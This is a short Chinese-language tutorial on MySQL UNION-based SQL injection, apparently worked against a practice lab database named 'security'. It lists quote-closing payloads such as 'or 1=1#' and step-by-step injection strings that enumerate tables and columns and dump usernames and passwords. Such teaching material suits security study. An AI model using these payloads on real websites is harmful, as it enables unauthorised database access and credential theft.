union操作符:
用于合并两个或多个查询语句的结果。
union内部的select语句必须拥有相同的数量的列,列也必须拥有相似的数据类型,同时,每条select语句中的列的顺序必须完全相同
union语法:
union
select column(s) from table union select column(s) from table
union all
select column(s) from table union select column(s) from table
注:如果前后两条select语句查询结果相同使用union只输出一条结果
联合注入应用场景
1.只要union连接的几个查询的字段数一样且列的数据类型转换没问题,就可以查询出结果。
2.注入页面有回显。
注入流程
1.order by 确定列数
2.观察页面返回,选取可以显示数据的地方
3.读数据库
4.读表名
5.读字段名
6.读数据
常见系统函数
1.version()——MySQL版本
2.user()——数据库用户名
3.database()——数据库名
4.@@datadir——数据库路径
5.@@version_compile_os——操作系统版本
字符串连接函数
1.concat(str1,str2,...)——没有分隔符地连接字符串
2.concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3.group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
sql语句常见闭合方式
or 1=1#
'or 1=1#
"or 1=1#
)or 1=1#
')or 1=1#
") or 1=1#
实例
单引号判断,导致页面报错,得到报错信息:'1'' LIMIT 0,1
由此可以假设出原sql语句为:
select * from users where id = '1'
使用order by判断字段数为3
' order by 3 %23
%23是#的url编码,表示注释掉后面多余的sql语句
使用联合查询判断回显位为2和3
' union select 1,2,3 %23
查看数据库
' union select 1,2,database() %23
查看security里的表
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' %23
查看users表里的字段
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23
查看users表里的数据
' union select 1,2,group_concat(id,':',username,':',password) from users %23